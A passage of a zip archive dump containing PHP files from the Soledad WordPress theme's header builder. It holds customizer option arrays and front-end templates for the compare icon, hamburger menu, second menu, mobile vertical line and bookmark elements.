$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnstyle',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bd_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bdh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_bgh_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Compare Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_compare_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_compare_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     N\q+    4  inc/builder/elements/pb_hamburger_menu/front-end.phpnu [        <?php
$header_data = $args['header_data'];
?>
    <div class="pc-builder-element penci-menuhbg-wapper penci-menu-toggle-wapper">
        <a href="#" aria-label="Open Menu"
           class="penci-menuhbg-toggle builder pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_hamburger_menu_btn_style', 'customize' ); ?>">
		<span class="penci-menuhbg-inner">
			<i class="lines-button lines-button-double">
				<i class="penci-lines"></i>
			</i>
			<i class="lines-button lines-button-double penci-hover-effect">
				<i class="penci-lines"></i>
			</i>
		</span>
        </a>
    </div>
<?php
add_filter( 'theme_mod_penci_menu_hbg_show', function () {
	return true;
} );
PK     N\$  $  3  inc/builder/elements/pb_hamburger_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_hamburger_menu_desc',
	'type'     => 'soledad-fw-alert',
	'label'    => __('You can go to "Appearance > Customize > Vertical Navigation & Menu Hamburger" to adjust the sidebar hamburger.','soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'notice-bg'
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Hamburger Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Custom Size','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_hamburger_menu_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btnbstyle',
	'default'   => 'none',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\NS  S  1  inc/builder/elements/pb_second_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_name' );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style','menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_class', 'no-class' );
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_header_enable_padding' ) ? 'menu-item-padding' : 'menu-item-normal';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-second-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>

			<?php
			if( $menu_id ){
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     N\p[0  0  0  inc/builder/elements/pb_second_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',

	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'choices'         => penci_builder_menu_list(),
	'partial_refresh' => [
		'penci_header_pb_second_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_header_remove_line_hover',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hide Line When Hover on Menu Items Level 1','soledad' ),

	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Second Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Second Menu Items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_section_slogan_heading_1',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_text_field',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),

	'type' => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_line_height_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_size_drop',
	'default'   => '12',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_lv1_item_spacing',
	'default'   => '',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;

PK     N\4;    <  inc/builder/elements/pb_vertical_line_mobile_1/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_height' );
$line5_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_color' );
$line5_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_class' );
$data_attr   = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'height:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-mobile-1 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     N\6^\  \  ;  inc/builder/elements/pb_vertical_line_mobile_1/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     N\Ϟ    .  inc/builder/elements/pb_bookmark/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_link_target', '_self' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_text_setting', false );

$classes   = [];
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : '';

$pages = get_option( 'penci_bl_set_pages' );
if ( isset( $pages['subscribe_manage_page'] ) && $pages['subscribe_manage_page'] ) {
	echo '<div id="penci-header-bookmark" class="penci-header-bookmark-element penci-builder-element top-search-classes"><a title="' . penci_get_setting( 'penci_trans_bookmark' ) . '" target="' . $btn_link_target . '" href="' . esc_url( get_page_link( $pages['subscribe_manage_page'] ) ) . '">' . penci_icon_by_ver( 'fa fa-bookmark-o' ) . $btn_title . '</a></div>';
}
PK     N\m    -  inc/builder/elements/pb_bookmark/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_bookmark_text_setting',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_bookmark_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_link_target',
	'default'   => '_self',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Button Font Size', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_bookmark_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
